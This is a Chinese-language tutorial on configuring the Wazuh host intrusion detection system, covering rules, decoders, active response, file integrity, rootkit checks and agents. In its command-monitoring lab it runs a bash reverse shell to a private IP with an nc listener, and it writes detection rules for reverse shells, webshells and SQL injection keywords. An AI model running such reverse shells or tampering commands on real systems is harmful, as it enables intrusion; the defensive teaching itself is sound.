开源工具利器之基于主机的IDS:Wazuh

声明

好好学习,天天向上
好好跟着蜗牛学苑的邓强老师学习技术原理

官网

前身OSSEC
https://www.ossec.net/

现在已开源
https://wazuh.com/
https://github.com/wazuh

安装

基础
yum install curl unzip wget libcap net-tools

配置源
/etc/yum.repos.d/wazuh.repo

[wazuh]
gpgcheck=1
gpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH
enabled=1
name=EL-$releasever - Wazuh
baseurl=https://packages.wazuh.com/4.x/yum/
protect=1

yum install wazuh-manager

或者官网有离线的rpm包,后续的agent也需要在官网下载

安装完后,启动
systemctl status wazuh-manager

介绍

服务器端安装了wazuh的服务后,服务自动就会采集本台服务器上的信息,服务器上不需要再装agent
默认目录为
cd /var/ossec/

active-response:响应的脚本
agentless:无代理安装,即用户名密码
etc:配置,ossec.conf核心配置文件
ruleset:自带规则库,建议不改
log:日志,预警核心

以下两个目录记录了何时、触发了哪些规则
/var/ossec/logs/alerts/alerts.json:json格式的预警信息,用于分析展示,这不就是给elk用于展示的嘛
/var/ossec/logs/alerts/alerts.log:适用于直接查看

初步感知

hids毕竟是基于主机的ids,所以监控的都是主机上的各种信息,文件夹或者命令执行结果等,看核心配置中的目录监控,可以看到监控了登录日志

/var/ossec/etc/ossec.conf

开源工具利器之基于主机的IDS:Wazuh_第1张图片

模拟登录失败,看看有什么反应
实时查看日志
tail -f alerts.log

ssh到这台服务器上,输入错误密码
ssh [email protected]
可以看到触发了两条规则5557和5760

开源工具利器之基于主机的IDS:Wazuh_第2张图片

在这个文件里面看到5557规则
/var/ossec/ruleset/rules/0085-pam_rules.xml
这个文件是5760
/var/ossec/ruleset/rules/0095-sshd_rules.xml

开源工具利器之基于主机的IDS:Wazuh_第3张图片

开源工具利器之基于主机的IDS:Wazuh_第4张图片

当我们连续登录root,密码输错很多次次后报了一条5763

开源工具利器之基于主机的IDS:Wazuh_第5张图片

5763规则是如果5760触发,120秒内触发8次,就触发本条规则,描述就是怀疑暴力破解

开源工具利器之基于主机的IDS:Wazuh_第6张图片

配置了解

全局配置
/var/ossec/etc/ossec.conf
  
    yes
    
    预警的当然要记录
    yes
    
    不记录所有
    no
    不记录所有的json格式
    no
    邮件相关配置
    no
    smtp.example.wazuh.com
    [email protected]
    [email protected]
    12
    alerts.log
    
    代理10分钟离线
    10m
    代理告警时间为实时
    0
  
  
  只要预警>=3级及以上就会记录到alert.log中
    3
    只要>=12级就会发邮件
    12
  
客户端连接的端口,所以服务器的1514端口是开着的,可以通过netstat -ant看到
  
    secure
    1514
    tcp
    131072
  
监控root相关
  
  
  关闭为no,说明开启了
    no
    yes
    yes
    yes
    yes
    yes
    yes
    yes

    
    每12小时执行一次
    43200

监控rootkit(维持root权限的后门)
    etc/rootcheck/rootkit_files.txt
    etc/rootcheck/rootkit_trojans.txt

    yes
  
这个文件中就会监控像是ls,ifconfig命令是否被替换成/bin/sh
etc/rootcheck/rootkit_trojans.txt

开源工具利器之基于主机的IDS:Wazuh_第7张图片

配置文件检查,每12小时扫描一次enabled为yes说明开启了,扫描的文件会在/var/ossec/ruleset/sca
  
    yes
    yes
    12h
    yes
  

可以看到sca目录下大多是disabled的

开源工具利器之基于主机的IDS:Wazuh_第8张图片

这个规则虽然关闭,可以看到包含检测php的目录下有没有webshell的

开源工具利器之基于主机的IDS:Wazuh_第9张图片

扫描操作系统的各种漏洞
  
    no
    5m
    6h
    yes

    
    
      no
      trusty
      xenial
      bionic
      focal
      jammy
      1h
    

    
    
      no
      stretch
      buster
      bullseye
      1h
    

    
    
      no
      5
      6
      7
      8
      9
      1h
    

    
    
      no
      amazon-linux
      amazon-linux-2
      1h
    

    
    
      no
      1h
    

    
    
      yes
      1h
    

    
    
      yes
      2010
      1h
    

  

再往后就是大量的目录检查,注意配置文件的注释是,我203行注释写错了后面重启wazuh就会报错,和html的注释一样


开源工具利器之基于主机的IDS:Wazuh_第10张图片

以及主动响应的部分

开源工具利器之基于主机的IDS:Wazuh_第11张图片

当然主动响应也会和目录对上,这里就相当于定义了,但是没有地方调用

开源工具利器之基于主机的IDS:Wazuh_第12张图片

这里才是要调用

开源工具利器之基于主机的IDS:Wazuh_第13张图片

命令执行的结果

开源工具利器之基于主机的IDS:Wazuh_第14张图片

主动响应

官网配置搜索

开源工具利器之基于主机的IDS:Wazuh_第15张图片

拷贝这个规则到配置中

开源工具利器之基于主机的IDS:Wazuh_第16张图片

顺便了解一下location标签

local,在该代理上执行,我们可以用这个

server在wazuh服务器上执行,也可以用,因为我们现在就在server上测试的,不过如果是在agent触发了,一般很少让在server上执行吧

defined-agent,在定义agent_id上面执行,其实也可以,默认给我们的就是带agent_id的我就不改了

all,在所有agent上执行,很适合大面积感染了

开源工具利器之基于主机的IDS:Wazuh_第17张图片

简单修改一下为,出现10级了,触发firewall-drop,将那个IP加入到iptables防火墙规则里

开源工具利器之基于主机的IDS:Wazuh_第18张图片


  firewall-drop
  local
  7
  600

重启wazuh,开启iptables

systemctl restart wazuh-manager

systemctl start iptables

我们还用前面的哪个10级的5760,也就是ssh一直失败,先是触发了10级的规则

开源工具利器之基于主机的IDS:Wazuh_第19张图片

客户端ssh再访问也没响应了

开源工具利器之基于主机的IDS:Wazuh_第20张图片

从日志看是加入到了防火墙里面

开源工具利器之基于主机的IDS:Wazuh_第21张图片

查看防火墙策略加了两条drop

开源工具利器之基于主机的IDS:Wazuh_第22张图片

重启iptables恢复策略

systemctl restart iptables

再试一下host-deny,一样的结果

开源工具利器之基于主机的IDS:Wazuh_第23张图片

开源工具利器之基于主机的IDS:Wazuh_第24张图片

开源工具利器之基于主机的IDS:Wazuh_第25张图片

开源工具利器之基于主机的IDS:Wazuh_第26张图片

重启sshd服务恢复deny,如果是测试,我们就把响应再注释掉

systemctl restart sshd

如果重启了sshd还不管用,就考虑加入hosts.allow

vim /etc/hosts.allow

sshd:192.168.174.1

应用

mysql

启动xampp
/opt/lampp/lampp start

开启mysql日志,输出到文件

vim /opt/lampp/etc/my.cnf

general_log = ON
general_log_file = /opt/lampp/logs/mysql.log
log_output = file

加入可写权限
chmod +w /opt/lampp/logs

重启lampp
/opt/lampp/lampp restart
如果没反应就进mysql里面再设置一下
mysql -uroot -p123456 -h192.168.174.5
show variables like 'general_log';
show variables like 'general_log_file';
show variables like 'log_output';
set global general_log=on
set global general_log_file='/opt/lampp/logs/mysql.log';

登录失败后会产生日志

开源工具利器之基于主机的IDS:Wazuh_第27张图片

启动wazuh的mysql日志监听

  
    syslog
    /opt/lampp/logs/mysql.log
  

开源工具利器之基于主机的IDS:Wazuh_第28张图片

查看内置mysql的规则,可以看到很多规则都是依赖50100,50100是个解码器,我们要触发的日志也是50106,不过这些正则和我们上面触发的mysql日志似乎匹配不上没有MYSQL开头的这种关键字

/var/ossec/ruleset/rules/0295-mysql_rules.xml

开源工具利器之基于主机的IDS:Wazuh_第29张图片

找到罪魁祸首mysql的decoders,改成匹配上我们日志的正则

/var/ossec/ruleset/decoders/0150-mysql_decoders.xml


  \d+ Connect

开源工具利器之基于主机的IDS:Wazuh_第30张图片

再整一条登录错误日志

mysql -uroot -p1234561 -h192.168.174.5

开源工具利器之基于主机的IDS:Wazuh_第31张图片

触发了50106

开源工具利器之基于主机的IDS:Wazuh_第32张图片

解码器

静态字段与动态字段

https://documentation.wazuh.com/current/user-manual/ruleset/dynamic-fields.html?highlight=static

静态字段
wazuh预定义的为静态字段:像是user、srcip

动态字段
不包含预定义的为动态字段,也就是除了user、srcip等等系统自定义的13个静态字段之外其他的都是动态字段,也就是我们自己定义的

正则

利用正则对日志进行解析,利于上一个例子中,我们可以提取日志中的字段


  \d+ Connect
  Access denied for user '(\S+)'@'(\S+)' 
  username, src_ip

开源工具利器之基于主机的IDS:Wazuh_第33张图片

json

自带的正则解码器,表示以花括号开头{,解码器命名为json

开源工具利器之基于主机的IDS:Wazuh_第34张图片

suricata这里就引用了这个名为json的解码器

开源工具利器之基于主机的IDS:Wazuh_第35张图片

命令行调试

/var/ossec/bin/wazuh-logtest

命令执行后,在控制台输入一条mysql登录失败的日志

5 Connect   Access denied for user 'root'@'192.168.174.1' (using password: YES)

第一阶段,预解码

第二阶段,解码器

第三阶段,对规则进行匹配

最后会说预警将产生,意思是这条日志匹配上了alert规则,但是只是测试,alert不会真正发生

开源工具利器之基于主机的IDS:Wazuh_第36张图片

再输入一条json格式的日志,json的格式会被自动提取,event_type字段是alert,自然会匹配上86601规则

{"timestamp":"2016-05-02T17:46:48.515262+0000","flow_id":1234,"in_iface":"eth0","event_type":"alert","src_ip":"16.10.10.10","src_port":5555,"dest_ip":"16.10.10.11","dest_port":80,"proto":"TCP","alert":{"action":"allowed","gid":1,"signature_id":2019236,"rev":3,"signature":"ET WEB_SERVER Possible CVE-2014-6271 Attempt in HTTP Version Number","category":"Attempted Administrator Privilege Gain","severity":1},"payload":"abcde","payload_printable":"hi test","stream":0,"host":"suricata.com"}

开源工具利器之基于主机的IDS:Wazuh_第37张图片

同级sibling解码器

在这个文件下自定义解码器

/var/ossec/etc/decoders/local_decoder.xml

解码器名称为securityapp,program_name表示只要包含securityapp的都解码


    securityapp
    (\w+): srcuser="(\.+)" action="(\.+)" dstusr="(\.+)"
    type,srcuser,action,dstuser

开源工具利器之基于主机的IDS:Wazuh_第38张图片

源日志为,按照顺序(order)获取了四个字段的值

Apr 01 00:31:38 hostname10086 securityapp: INFO: srcuser="Bob" action="called" dstusr="Alice"

开源工具利器之基于主机的IDS:Wazuh_第39张图片

但是将日志更换顺序后,则无法匹配

Apr 01 00:31:38 hostname10086 securityapp: INFO: srcuser="Bob" dstusr="Alice" action="called"

开源工具利器之基于主机的IDS:Wazuh_第40张图片

先将刚刚这个解码器注释掉,加入新的多级解码器,一个一个字段拿

定义一个父securityapp


    securityapp



    securityapp
    ^(\w+):
    type



    securityapp
    srcuser="(\.+)"
    srcuser



    securityapp
    action="(\.+)"
    action



    securityapp
    dstusr="(\.+)"
    dstusr

重启wazuh,可以提取

Apr 01 00:31:38 hostname10086 securityapp: INFO: srcuser="Bob" dstusr="Alice" action="called"

开源工具利器之基于主机的IDS:Wazuh_第41张图片

自定义

给定日志

Dec  4 17:07:01 myserver security_login: Accepted password for user tony, IP: 1.2.3.4
Dec  4 17:07:01 myserver security_login: Failed password for user tony, IP: 1.2.3.4

加入解码器后,重启wazuh


    security_login


    security_login
     password for user 
    ^\w+ password for user (\w+), IP: (\S+)
    dstuser, srcip

这两条“人造日志”好像还装上了我们的规则

开源工具利器之基于主机的IDS:Wazuh_第42张图片

实战

对于软waf的日志,加个waflog特征后

Dec 25 20:45:02 MyHost waflog: [2022-05-09 15:47:43] "GET 127.0.0.1/?a=select1from1" "1.1.1.1"  "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" "select.+(from|limit)"

完善解码器/var/ossec/etc/decoders/local_decoder.xml


  waflog
  [(\.*)] "(\w+) (\.*)" "(\S*)"  "(\.*)" "(\.*)"
  accress_time,method,uri,useless,user-agent,waf_rule

完善/var/ossec/etc/rules/local_rules.xml


  
        waflog
        \.+
        \.+
        waf messages.
        no_full_log
  
  
    300001
    ^select.+\(from\|limit\)
    sql inject: Alert - waf_rule is : $(waf_rule)
    no_full_log
 

如果是要进行host-deny响应,我们就要给定一个srcip,不然把啥加到deny中呢

规则

分级

https://documentation.wazuh.com/current/user-manual/ruleset/rules-classification.html?highlight=First%20time%20seen

0-15个级别(没有1级)
3级以前基本就是提示
7级以后较为严重
rule标签
https://documentation.wazuh.com/current/user-manual/ruleset/ruleset-xml-syntax/rules.html?highlight=rule

上述url中就是rule标签中所有的标签,当然里面大多是静态字段filed(解码器的order中拿到的)
match和regex都是正则,match只有简单几个表达式,所以我们常用regex
用户自定义的规则id从100000开始

ignore静默时间
overwrite重写规则,觉得系统哪个写的不好,自己写一个,有更改需求的最好还是使用重写的方式

针对mysql进行实验,我们注释掉最初在mysql的编码器中写的decoder,恢复其默认编码器,改在/var/ossec/etc/decoders/local_decoder.xml中操作

开源工具利器之基于主机的IDS:Wazuh_第43张图片

编辑/var/ossec/etc/ossec.conf,禁用原mysql编码器和mysql的规则

    0295-mysql_rules.xml
	ruleset/decoders/0150-mysql_decoders.xml

ossec.conf完整ruleset

  
    
    ruleset/decoders
    ruleset/rules
    0215-policy_rules.xml

    0295-mysql_rules.xml

    etc/lists/audit-keys
    etc/lists/amazon/aws-eventnames
    etc/lists/security-eventchannel

    
    etc/decoders
    etc/rules

    ruleset/decoders/0150-mysql_decoders.xml
  

开源工具利器之基于主机的IDS:Wazuh_第44张图片

在自定义解码器中接入mysql的解码器,这里拿到登录的用户名和ip,注意user和srcip要和官网的静态字段保持一致

/var/ossec/etc/decoders/local_decoder.xml


  \d+ Connect|\d+ Query
  Access denied for user '(\S+)'@'(\S+)' 
  user, srcip

开源工具利器之基于主机的IDS:Wazuh_第45张图片

复制mysql规则到自定义规则

/var/ossec/etc/rules/local_rules.xml

50100依赖mysql_log解码器,只是一个简单描述

50105依赖50100规则,如果50100规则成立,并且登录成功,用$(dstuser)拿到用户名,注意dstuser也是标准写法

50106依赖50105规则,如果50105规则成立,并且登录失败,用$(dstuser)拿到用户名

50107依赖50106规则,如果50106匹配上了,说明是用户登录失败的情况,再加上用了标签user匹配是test的用户,也就是如果登录失败,并且用户名是test,就会触发本条规则

50108好理解,依赖50100规则,和50105类似

重点:

561002依赖50106,如果50106规则30s内触发了5次就会告警


  
    mysql_log
    MySQL messages grouped.
  

  
    50100
    \d+ Connect
    MySQL: 用户$(dstuser)正在登录
    
      T1078
    
    authentication_success,
  

  
    50105
    Access denied for user
    MySQL: 用户$(dstuser)登录失败
    authentication_failed,
  

  
    50106
    Access denied for user
    MySQL: 用户test登录失败
    test
    authentication_failed,
  

  
    50100
    select @@version_comment limit 1
    MySQL: 用户$(dstuser)登录成功
    authentication_failed,mysql_query,
  

  
    50106
    MySQL: 用户$(dstuser)多次登录失败,疑似爆破.
    attack,
  

开源工具利器之基于主机的IDS:Wazuh_第46张图片

输入正确密码,查看alert.log

mysql -uroot -p123456 -h192.168.174.5

只报了5018和50105,没问题,50108和50105都是依赖50100,但是并没有报50100,说明在真实环境alert.log中,后面的触发了,前面的就不会触发

开源工具利器之基于主机的IDS:Wazuh_第47张图片

在命令行测试

/var/ossec/bin/wazuh-logtest

输入正确登录日志

7 Query     select @@version_comment limit 1

但是命令行只触发了50108

开源工具利器之基于主机的IDS:Wazuh_第48张图片

输入错误密码1次,查看alert.log,触发50105和50106

mysql -uroot -p12345 -h192.168.174.5

开源工具利器之基于主机的IDS:Wazuh_第49张图片

输入test用户错误密码1次,查看alert.log,触发50105和50107

mysql -utest -p12345 -h192.168.174.5

开源工具利器之基于主机的IDS:Wazuh_第50张图片

30s内输入5次

mysql -uroot -p12345 -h192.168.174.5

开源工具利器之基于主机的IDS:Wazuh_第51张图片

再加一条

基于50106,如果相同ip,不同用户的,在30秒内3次的就告警,静默时间30s

静态字段像是user、ip就用指定的标签different_user、same_srcip

【动态字段使用same_field、different_field这类标签判断】

https://documentation.wazuh.com/current/user-manual/ruleset/ruleset-xml-syntax/rules.html?highlight=same
  
    50106
    
    
    相同ip,不同用户
    attack,
  

开源工具利器之基于主机的IDS:Wazuh_第52张图片

改用动态字段,当然解码器和规则都得改


  \d+ Connect|\d+ Query
  Access denied for user '(\S+)'@'(\S+)' 
  
  u, i

开源工具利器之基于主机的IDS:Wazuh_第53张图片

  
    50106
    i
    相同ip
    attack,
  

开源工具利器之基于主机的IDS:Wazuh_第54张图片

开源工具利器之基于主机的IDS:Wazuh_第55张图片

web日志

常见日志

开启web站点vaudit

http://192.168.174.5:81/

开源工具利器之基于主机的IDS:Wazuh_第56张图片

在/var/ossec/etc/ossec.conf加入lampp的访问日志

log_format不止有syslog一个,好像其他的也没这个更适合这里

  
    syslog
    /opt/lampp/logs/access_log
  

开源工具利器之基于主机的IDS:Wazuh_第57张图片

日志记录

开源工具利器之基于主机的IDS:Wazuh_第58张图片

查看wazuh内置的web解码器,发现只有这个解码器【web-accesslog-ip】相对合适

/var/ossec/ruleset/decoders/0375-web-accesslog_decoders.xml

拿到了ip、方法、url和状态码(id),后面id就是状态码

开源工具利器之基于主机的IDS:Wazuh_第59张图片

再看看web的规则库,没啥感觉

/var/ossec/ruleset/rules/0245-web_rules.xml

我们重写31101规则

/var/ossec/etc/rules/local_rules.xml

561106规则总不触发,是因为触发了别的规则,,怎么办呢,加noalert=“1”

触发403
http://192.168.174.5:81/phpmyadmin
192.168.174.1 - - [07/Mar/2023:15:35:34 +0800] "GET /user/reg.php111 HTTP/1.1" 404 1034
192.168.174.2 - - [07/Mar/2023:15:35:34 +0800] "GET /user/reg.php111 HTTP/1.1" 404 1034
192.168.174.3 - - [07/Mar/2023:15:35:34 +0800] "GET /user/reg.php111 HTTP/1.1" 404 1034
192.168.174.4 - - [07/Mar/2023:15:35:34 +0800] "GET /user/reg.php111 HTTP/1.1" 404 1034
192.168.174.5 - - [07/Mar/2023:15:35:34 +0800] "GET /user/reg.php111 HTTP/1.1" 404 1034

  
    31100
    ^404$
    Web server 404 error code.
    attack,pci_dss_6.5,pci_dss_11.4,gdpr_IV_35.7.d,nist_800_53_SA.11,nist_800_53_SI.4,tsc_CC6.6,tsc_CC7.1,tsc_CC8.1,tsc_CC6.1,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,
  

  
    31101
    
    同一个IP不断出现404,疑似扫描
    attack,
  

  
    31101
    
    不同IP不断出现404,疑似扫描
    attack,
  

  
    31100
    ^403$
    Web server 403 error code.
    attack,pci_dss_6.5,pci_dss_11.4,gdpr_IV_35.7.d,nist_800_53_SA.11,nist_800_53_SI.4,tsc_CC6.6,tsc_CC7.1,tsc_CC8.1,tsc_CC6.1,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,
  

  
    561103
    Web server 403 error code.
    attack,
  

  
    31100
    /user/logCheck.php
    POST
    某个IP正在登录
    attack,
  

  
    561105
    相同IP频繁访问登录接口,疑似登录爆破
    attack,
  


SQL注入

  
    561105
    相同IP频繁访问登录接口,疑似登录爆破
    attack,
  

  
    union|select|order by|and|or
    疑似SQL注入
    attack,
  
  
    561301
    
    相同IP进行SQL注入
    attack,
    

文件完整性检查

修改文件,启用文件,在syscheck标签中做简单修改

/var/ossec/etc/ossec.conf

完整syscheck标签内容如下,增加新目录

  
  
    no

    
    
    
    10
    
    
    yes

    
    yes

    
    no

    
    /etc,/usr/bin,/usr/sbin
    /bin,/sbin,/boot

    
    /opt/lampp/htdocs,/tmp

    
    /etc/mtab
    /etc/hosts.deny
    /etc/mail/statistics
    /etc/random-seed
    /etc/random.seed
    /etc/adjtime
    /etc/httpd/logs
    /etc/utmpx
    /etc/wtmpx
    /etc/cups/certs
    /etc/dumpdates
    /etc/svc/volatile

    
    .log$|.swp$

    
    /etc/ssl/private.key

    yes
    yes
    yes
    yes

    
    10

    
    100

    
    
      yes
      5m
      1h
      10
    
  

添加账户

修改/etc/passwd文件,新增账号test321,触发550规则,好多文件都被修改

useradd test321

开源工具利器之基于主机的IDS:Wazuh_第60张图片

/etc下增加/删除文件

echo hello > /etc/hello11111111111111111.txt

开源工具利器之基于主机的IDS:Wazuh_第61张图片

删除这个文件

rm -f /etc/hello11111111111111111.txt

开源工具利器之基于主机的IDS:Wazuh_第62张图片

写一句话

echo '' > /opt/lampp/htdocs/test_shell.php

开源工具利器之基于主机的IDS:Wazuh_第63张图片

修改权限也会被发现

chmod 755 /opt/lampp/htdocs/test_shell.php

命令监控

攻击者监听端口

nc -lvvp 4444

wazuh服务器执行

bash >& /dev/tcp/192.168.33.93/4444 0>&1

开源工具利器之基于主机的IDS:Wazuh_第64张图片

查看端口,特征是带bash的

在这里插入图片描述

常用的命令

netstat -anptl | grep bash
ss -apn | grep ESTAB | egrep '("bash"|"sh")'
ps -eo user,pid,cmd | grep /bash

加入命令监控

/var/ossec/etc/ossec.conf

  
    command
    netstat -anptl
    10
  

开源工具利器之基于主机的IDS:Wazuh_第65张图片

完善规则

/var/ossec/etc/rules/local_rules.xml


  
    530
      ossec: output: 'netstat -anptl'
      正在监听反弹shell
      process_monitor,
  
  
    200001
      bash
      监听到bash反弹shell
      process_monitor,attack
  

开源工具利器之基于主机的IDS:Wazuh_第66张图片

开源工具利器之基于主机的IDS:Wazuh_第67张图片

nc也一样,放开ossec配置

  
    command
    ps -ef
    10
  

  
    530
      ossec: output: 'ps -ef'
      正在查询恶意进程
      process_monitor,
  
  
    210001
      nc -e
      监听到nc反弹shell
      process_monitor,attack
  

在这里插入图片描述

rootcheck

rootkit

对我们最亲爱的rootkit木马进行监测

首先开启rootcheck,当然默认是开启的,我这里只改了一个参数,就是把频率改小了

完整配置如下

频率改为10s
  
  
    no
    yes
    yes
    yes
    yes
    yes
    yes
    yes

    
    
    10
    etc/rootcheck/rootkit_files.txt
    etc/rootcheck/rootkit_trojans.txt

    yes
  

开源工具利器之基于主机的IDS:Wazuh_第68张图片

我们需要注意两个文件/var/ossec/etc/rootcheck/rootkit_files.txt和/var/ossec/etc/rootcheck/rootkit_trojans.txt

先来看看/var/ossec/etc/rootcheck/rootkit_files.txt

只要tmp目录下创建了文字为mcliZokhb的文件,就认为木马了

开源工具利器之基于主机的IDS:Wazuh_第69张图片

这条也一样,只要tmp下有.dump文件就认为是木马,这还是个.开头的隐藏文件

开源工具利器之基于主机的IDS:Wazuh_第70张图片

话不多说,我们来测试一下

echo "" > /tmp/mcliZokhb
echo "" > /tmp/.dump

看到了告警,所以这个文件是一个文件名的黑名单

开源工具利器之基于主机的IDS:Wazuh_第71张图片

rm -f /tmp/mcliZokhb /tmp/.dump

删掉刚刚创建的恶意文件后,再来看看/var/ossec/etc/rootcheck/rootkit_trojans.txt

这一部分是查看命令的内容有没有被恶意人员改变而劫持

开源工具利器之基于主机的IDS:Wazuh_第72张图片

这里是看hosts文件是否被劫持,像这种麦咖啡和微软的域名也在监控范围内,应该是怕黑客改了hosts域名解析,导致服务器访问麦咖啡域名或者微软解析到黑客的服务器上去更新病毒库或者补丁吧

开源工具利器之基于主机的IDS:Wazuh_第73张图片

我们来改一下hosts文件,追加一条

echo "127.0.0.1 mcafee.com" >> /etc/hosts

看到我们之前的文件完整性监控和rootcheck监控都检测到了

开源工具利器之基于主机的IDS:Wazuh_第74张图片

删掉这一条

system audit

也偏向文件监控,和签名的大同小异,主要看我们文件的配置是否正确啊,文件内容有没有异常函数这种

当然是我们自定义配置,在etc/rootcheck/目录下创建system_audit_lampp.txt,内容如下

如果php.ini中allow_url_include=On,说明开启,我们就报警

如果/opt/lampp/htdocs目录下有符合eval.*POST的,我们就认为有一句话

# 可以定义我们自己的变量
$php.ini=/opt/lampp/etc/php.ini;
$web_dirs=/opt/lampp/htdocs;

# 规则分为三部分
# 第一部分注释,可以不写
# 第二部分,[规则描述] [触发条件] [参考引用],注意[]和[]之间要加空格
# 第三部分,规则本身,方向箭头左边,f文件,d目录,p进程,c命令,r注册表
# 方向箭头右边 ,可以写普通文件,代表模糊匹配,也可以写r:代表正则,也可以逻辑运算&&多条件匹配
# 如果是目录,则需要定义一个中间箭头,用于确认查询当前目录下的哪些文件

# PHP CHECK
[PHP - 远程文件包含开启] [any] []
f:$php.ini -> r:^allow_url_include=On;

# WEB SHELl CHECK
[PHP - 疑似有一句话] [any] []
d:/opt/lampp/htdocs -> .php$ -> r:eval;

开源工具利器之基于主机的IDS:Wazuh_第75张图片

rootcheck引用system_audit标签

  
  
    no
    yes
    yes
    yes
    yes
    yes
    yes
    yes

    
    
    10
    etc/rootcheck/rootkit_files.txt
    etc/rootcheck/rootkit_trojans.txt

    etc/rootcheck/system_audit_lampp.txt
    yes
  

开源工具利器之基于主机的IDS:Wazuh_第76张图片

修改php.ini,开启远程文件包含

vim /opt/lampp/etc/php.ini

开源工具利器之基于主机的IDS:Wazuh_第77张图片

开源工具利器之基于主机的IDS:Wazuh_第78张图片

创建个一句话的文件

echo '' > /opt/lampp/htdocs/test_shell.php

开源工具利器之基于主机的IDS:Wazuh_第79张图片

sca

检测操作系统的各种配置

syslog和rsyslog

远程采集别的服务器的日志,可以通过

1、syslog

2、用户名密码,不推荐,只能做简单的

3、agent

再找一台服务器,启动rsyslog

启动
systemctl status rsyslog

rsyslog配置文件
vim /etc/rsyslog.conf

在wazuh服务器的/etc/rsyslog.conf修改

如果是来自192.168.174.134的日志,保存到/var/log/host_192.168.174.134.log下,并重启

:FROMHOST-IP, isequal, "192.168.174.134" /var/log/host_192.168.174.134.log
:FROMHOST-IP, isequal, "192.168.174.134" ~

查看服务器端的514udp为开启状态

netstat -anu

在客户端/etc/rsyslog.conf修改,增加一行,然后重启

*.* @192.168.174.5:514

wazuh-syslog

wazuh服务器,可以将自己的预警日志通过syslog发送给别的服务器

wazuh客户端,可以通过syslog把日志发送给wazuh服务器

wazuh-agent客户端

服务端生成key,

A添加agent

E获取agent的key(根据ID获取)

L列出agent

R删除agent

Q退出

/var/ossec/bin/manage_agents

开启1514,开启后1514端口会打开

  
    secure
    1514
    tcp
    131072
  

要加哪个客户端就加,选择A的选项,输入name和ip后,拿到key

windows

在官网下载agent,wazuh-agent-4.1.5-1.msi,双击下一步安装后

安装在C:\Program Files (x86)\ossec-agent

开源工具利器之基于主机的IDS:Wazuh_第80张图片

打开配置文件

开源工具利器之基于主机的IDS:Wazuh_第81张图片

写上服务器的配置和之前添加生成的key,该文件也包含了监控的各个目录

在这里插入图片描述

或者使用ui进行ip和key的配置

开源工具利器之基于主机的IDS:Wazuh_第82张图片

频率改为10s,并开启服务

开源工具利器之基于主机的IDS:Wazuh_第83张图片

开源工具利器之基于主机的IDS:Wazuh_第84张图片

在服务器上可以看到

开源工具利器之基于主机的IDS:Wazuh_第85张图片

登录失败就会监听到

开源工具利器之基于主机的IDS:Wazuh_第86张图片

linux

rpm --import https://packages.wazuh.com/key/GPG-KEY-WAZUH
cat > /etc/yum.repos.d/wazuh.repo << EOF
[wazuh]
gpgcheck=1
gpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH
enabled=1
name=EL-\$releasever - Wazuh
baseurl=https://packages.wazuh.com/4.x/yum/
protect=1
EOF
yum install wazuh-agent
systemctl enable wazuh-agent

跟windows同样的操作

vim /var/ossec/etc/ossec.conf
    
      
192.168.174.6
1514 tcp

同样频率调为10

开源工具利器之基于主机的IDS:Wazuh_第87张图片

需要执行命令导入Key,这次选项选I输入key就好了

/var/ossec/bin/manage_agents

开启

systemctl start wazuh-agent

集成ELK

在首页下载ova直接导入vmware

虚拟机密码为

user: wazuh-user
password: wazuh

访问

https://192.168.174.6
user: admin
password: admin

开源工具利器之基于主机的IDS:Wazuh_第88张图片

开源工具利器之基于主机的IDS:Wazuh_第89张图片

agent客户端添加一个账号都是可以看到的

开源工具利器之基于主机的IDS:Wazuh_第90张图片

我们来个登录失败的

开源工具利器之基于主机的IDS:Wazuh_第91张图片

界面可以看到

开源工具利器之基于主机的IDS:Wazuh_第92张图片

开源工具利器之基于主机的IDS:Wazuh_第93张图片

360星图

对web日志,apache,iis等进行离线分析,要有java环境

配置文件

开源工具利器之基于主机的IDS:Wazuh_第94张图片

准备一个日志文件

开源工具利器之基于主机的IDS:Wazuh_第95张图片

在config.ini中改成这个文件的路径

开源工具利器之基于主机的IDS:Wazuh_第96张图片

运行start.bat

开源工具利器之基于主机的IDS:Wazuh_第97张图片

开源工具利器之基于主机的IDS:Wazuh_第98张图片

开源工具利器之基于主机的IDS:Wazuh_第99张图片

python实时读取日志

实时读取日志

'''
file = open("test.py")
print(file.tell())

# 文件指针到末尾
file.seek(0, 2)

print("文件共" + str(file.tell()) + "个字节")
# 文件指针到开头
file.seek(0, 0)
content = file.read(100)
print(content)
print(file.tell())
file.close()
'''
import re
import time

filename = "E:/soft/xampp/file/apache/logs/access.log"

'''
192.168.2.99 - - [08/Mar/2023:17:53:08 +0800] "GET /phpinfo.php HTTP/1.1" 404 6851 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"
'''

# 打开日志文件
file = open(filename)
# 移动到日志末尾
file.seek(0, 2)
list_all = []

# 死循环
while True:
    print("-----正在读取文件-----")
    # 调用readlines时指针会指向末尾
    line_list = file.readlines()
    # 如果大于零说明日志更新了,读到了
    if len(line_list) > 0:
        for line in line_list:
            print(line)
            pattern = '([\d\.]+) - - \[(\S+) \+0800\] "(\w+) (\S+) HTTP/1.1" (\d+) (\d+) "(\S+)" "([\S|\s]+)"'
            list = re.findall(pattern, line)
            srcip = list[0][0]
            access_time = list[0][1]
            method = list[0][2]
            url = list[0][3]
            status_code = list[0][4]
            resp_size = list[0][5]
            referer = list[0][6]
            user_agent = list[0][7]

            dict = {}
            dict['srcip'] = srcip
            dict['access_time'] = access_time
            dict['method'] = method
            dict['url'] = url
            dict['status_code'] = status_code
            dict['resp_size'] = resp_size
            dict['referer'] = referer
            dict['user_agent'] = user_agent
            # print(srcip, access_time, method, url, status_code, resp_size, referer, user_agent)
            list_all.append(dict)
        print(list_all)
    time.sleep(5)

处理wazuh的alert.json

拷贝一个wazuh的alert.log中的一行告警

